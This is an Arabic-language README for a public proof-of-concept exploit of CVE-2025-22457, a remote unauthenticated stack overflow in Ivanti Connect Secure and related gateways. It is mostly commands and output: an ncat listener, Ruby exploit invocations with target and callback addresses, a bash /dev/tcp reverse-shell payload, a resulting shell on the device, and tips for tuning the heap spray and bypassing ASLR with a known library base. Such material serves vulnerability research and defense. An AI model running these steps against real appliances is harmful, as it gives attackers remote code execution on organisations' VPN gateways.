إثبات المفهوم CVE-2025-22457
ثغرة تجاوز سعة المخزن المؤقت (stack-based buffer overflow) عن بعد بدون مصادقة تؤثر على Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, و ZTA Gateways
هذا إثبات مفهوم (PoC) لاستغلال الثغرة لإظهار استغلال CVE-2025-22457. للحصول على تحليل فني كامل للثغرة واستراتيجية الاستغلال، يرجى الاطلاع على تحليل Rapid7 هنا:
https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis
يمكننا تشغيل هذا السكريبت ضد هدف Ivanti Connect Secure ضعيف، الإصدار 22.7r2.4 كما يلي:
ابدأ مستمع netcat لاستقبال الـ reverse shell.
C:\>ncat -lnvkp 8080
شغّل الاستغلال وفرض ASLR بالقوة (سيكون هذا بطيئًا).
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering..
عندما يعمل، ستحصل على reverse shell.
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$
اعتمادًا على العتاد الأساسي، سيحدد عدد وحدات المعالجة المركزية (CPUs) المتاحة للجهاز المستهدف عدد العمليات الفرعية التي سينشئها برنامج /home/bin/web. نظرًا لأن جميع طلبات HTTPS الواردة سيتم توزيعها بالتساوي بين هذه العمليات الفرعية، نحتاج إلى مراعاة ذلك وتنفيذ رش الكومة (heap spray) عددًا كافيًا من المرات لجميع العمليات الفرعية. نحتاج إلى فعل ذلك لأنه عندما نقوم بتشغيل الثغرة، لا يمكننا معرفة أي عملية فرعية سنقوم بتشغيلها فيها. لذلك نحتاج إلى أن يكون رش الكومة موجودًا في كل عملية فرعية.
على سبيل المثال، في جهاز ضعيف مخترق (rooted)، شغّل الأمر التالي لرؤية عدد عمليات /home/bin/web الفرعية:
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web
4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80
1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web
1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web
1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web
1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web
bash-4.2#
يمكنك تحديد العدد المتوقع لعمليات الويب الفرعية عبر الوسيط --web_children، على سبيل المثال:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4
إذا كنت تختبر إثبات المفهوم (PoC) على نظام محلي، قد ترغب في تجنب فرض العنوان الأساسي لـ libdsplibs. في هذه الحالة، يمكنك تمرير عنوان أساسي معروف إلى إثبات المفهوم عبر الوسيط --libdsplibs. على سبيل المثال، في جهاز ضعيف مخترق، شغّل الأمر التالي:
bash-4.2# ps -A| grep web
ps -A| grep web
3200 ? 00:00:01 web80
20536 ? 00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so
bash-4.2#
ثم يمكنك تمرير العنوان الأساسي المعروف إلى إثبات المفهوم على النحو التالي:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering...